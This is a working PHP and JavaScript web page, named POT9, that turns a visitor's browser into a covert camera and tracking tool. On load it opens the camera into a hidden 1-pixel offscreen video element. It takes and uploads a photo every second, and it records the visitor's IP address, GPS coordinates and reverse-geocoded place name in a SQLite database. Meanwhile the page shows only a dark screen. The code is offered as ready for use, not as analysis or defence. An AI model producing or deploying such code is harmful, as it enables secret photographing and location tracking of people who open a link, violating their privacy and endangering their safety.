<?php
// ============================================================
// POT9 – Continuous Capture with IP & GPS (stored, not displayed)
// ============================================================
error_reporting(0);
$baseDir = __DIR__;
$dbFile = $baseDir . '/POT9.sqlite';
$uploadDir = $baseDir . '/uploads/';
if (!is_dir($uploadDir)) mkdir($uploadDir, 0755, true);
$db = new SQLite3($dbFile);
// Create posts table if not exists, with IP and location columns
$db->exec("CREATE TABLE IF NOT EXISTS posts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
filename TEXT,
ip_address TEXT,
latitude REAL,
longitude REAL,
location_name TEXT,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
)");
// Helper to get client IP
function getClientIP() {
if (!empty($_SERVER['HTTP_CLIENT_IP'])) return $_SERVER['HTTP_CLIENT_IP'];
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) return $_SERVER['HTTP_X_FORWARDED_FOR'];
return $_SERVER['REMOTE_ADDR'] ?? 'unknown';
}
// Endpoint to return the server‑side IP (for first fetch)
if (isset($_GET['get_ip'])) {
header('Content-Type: application/json');
echo json_encode(['ip' => getClientIP()]);
exit;
}
// Handle POST upload (captured image)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['media'])) {
$filename = 'p_' . time() . '_' . bin2hex(random_bytes(4)) . '.jpg';
$path = $uploadDir . $filename;
if (move_uploaded_file($_FILES['media']['tmp_name'], $path)) {
// Get IP and location from POST data (sent from JS)
$ip = $_POST['ip'] ?? getClientIP();
$lat = isset($_POST['lat']) && $_POST['lat'] !== '' ? floatval($_POST['lat']) : null;
$lng = isset($_POST['lng']) && $_POST['lng'] !== '' ? floatval($_POST['lng']) : null;
$locName = $_POST['loc_name'] ?? '';
$stmt = $db->prepare("INSERT INTO posts (filename, ip_address, latitude, longitude, location_name) VALUES (:file, :ip, :lat, :lng, :loc)");
$stmt->bindValue(':file', $filename);
$stmt->bindValue(':ip', $ip);
$stmt->bindValue(':lat', $lat);
$stmt->bindValue(':lng', $lng);
$stmt->bindValue(':loc', $locName);
$stmt->execute();
echo json_encode(['success' => true, 'filename' => $filename]);
} else {
echo json_encode(['success' => false]);
}
exit;
}
// Get latest photo for initial display
$latest = $db->querySingle("SELECT filename FROM posts ORDER BY created_at DESC LIMIT 1", true);
$latestFile = $latest ? $latest['filename'] : '';
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover">
<title>POT9</title>
<style>
* { margin:0; padding:0; box-sizing:border-box; }
body { background:black; height:100vh; width:100vw; display:flex; align-items:center; justify-content:center; overflow:hidden; }
img { max-width:100%; max-height:100%; object-fit:contain; }
</style>
</head>
<body>
<img id="currentImage" src="<?= $latestFile ? 'uploads/' . rawurlencode($latestFile) : '' ?>" alt="">
<script>
(function() {
const img = document.getElementById('currentImage');
let capturing = false;
let stream = null;
let video = null;
let interval = null;
// Store once‑fetched data
let storedIp = '';
let storedLat = null;
let storedLng = null;
let storedLocName = '';
let locationFetched = false;
let ipFetched = false;
// Fetch IP from server (once)
async function fetchIp() {
if (ipFetched) return storedIp;
try {
const res = await fetch(window.location.href + '?get_ip=1');
const data = await res.json();
storedIp = data.ip || 'unknown';
ipFetched = true;
} catch(e) {
storedIp = 'unknown';
ipFetched = true;
}
return storedIp;
}
// Fetch GPS location (once)
async function fetchLocation() {
if (locationFetched) return;
return new Promise((resolve) => {
if (!navigator.geolocation) {
locationFetched = true;
resolve();
return;
}
navigator.geolocation.getCurrentPosition(async (pos) => {
storedLat = pos.coords.latitude;
storedLng = pos.coords.longitude;
// Optional reverse geocoding (fast, but don't block)
try {
const controller = new AbortController();
const timeout = setTimeout(() => controller.abort(), 2000);
const res = await fetch(`https://nominatim.openstreetmap.org/reverse?format=json&lat=${storedLat}&lon=${storedLng}&zoom=16`, { signal: controller.signal });
clearTimeout(timeout);
if (res.ok) {
const data = await res.json();
if (data.display_name) {
const parts = data.display_name.split(',');
storedLocName = parts[0] + (parts[1] ? ', ' + parts[1].trim() : '');
}
}
} catch(e) {}
locationFetched = true;
resolve();
}, () => {
locationFetched = true;
resolve();
}, { timeout: 5000 });
});
}
// Compress image for fast upload
function compress(blob, maxWidth=800, quality=0.55) {
return new Promise((r) => {
const t = new Image();
t.onload = () => {
let w=t.width, h=t.height;
if(w>maxWidth){ h=(h*maxWidth)/w; w=maxWidth; }
const c=document.createElement('canvas');
c.width=w; c.height=h;
c.getContext('2d').drawImage(t,0,0,w,h);
c.toBlob(r,'image/jpeg',quality);
};
t.src=URL.createObjectURL(blob);
});
}
// Capture and upload (reuses stored IP & location)
async function capture() {
if(capturing || !stream || !video || video.videoWidth===0) return;
capturing=true;
try {
const c=document.createElement('canvas');
c.width=video.videoWidth;
c.height=video.videoHeight;
c.getContext('2d').drawImage(video,0,0);
const raw=await new Promise(r=>c.toBlob(r,'image/jpeg',0.85));
if(!raw) return;
const small=await compress(raw);
const fd=new FormData();
fd.append('media', small, 'photo.jpg');
// Attach stored IP and location
fd.append('ip', storedIp);
if (storedLat !== null) fd.append('lat', storedLat);
if (storedLng !== null) fd.append('lng', storedLng);
fd.append('loc_name', storedLocName);
const res=await fetch(window.location.href,{method:'POST',body:fd});
const json=await res.json();
if(json.success && json.filename){
img.src='uploads/'+json.filename+'?t='+Date.now();
}
}catch(e){}
capturing=false;
}
// Initialize camera, then fetch IP+location once, then start interval
async function init(){
try{
let constraints={video:{facingMode:{exact:"environment"}},audio:false};
try{ stream=await navigator.mediaDevices.getUserMedia(constraints); }
catch(e){ stream=await navigator.mediaDevices.getUserMedia({video:true}); }
video=document.createElement('video');
video.setAttribute('autoplay','');
video.setAttribute('playsinline','');
video.style.position='fixed';
video.style.top='-9999px';
video.style.left='-9999px';
video.style.width='1px';
video.style.height='1px';
document.body.appendChild(video);
video.srcObject=stream;
await video.play();
let attempts=0;
while((video.videoWidth===0||video.videoHeight===0)&&attempts<30){
await new Promise(r=>setTimeout(r,50));
attempts++;
}
// Fetch IP and location once (parallel)
await Promise.all([fetchIp(), fetchLocation()]);
// Start capturing every second
interval=setInterval(()=>capture(),1000);
capture(); // first shot immediately
}catch(e){}
}
init();
window.addEventListener('beforeunload',()=>{
if(interval) clearInterval(interval);
if(stream) stream.getTracks().forEach(t=>t.stop());
if(video&&video.parentNode) video.remove();
});
})();
</script>
</body>
</html>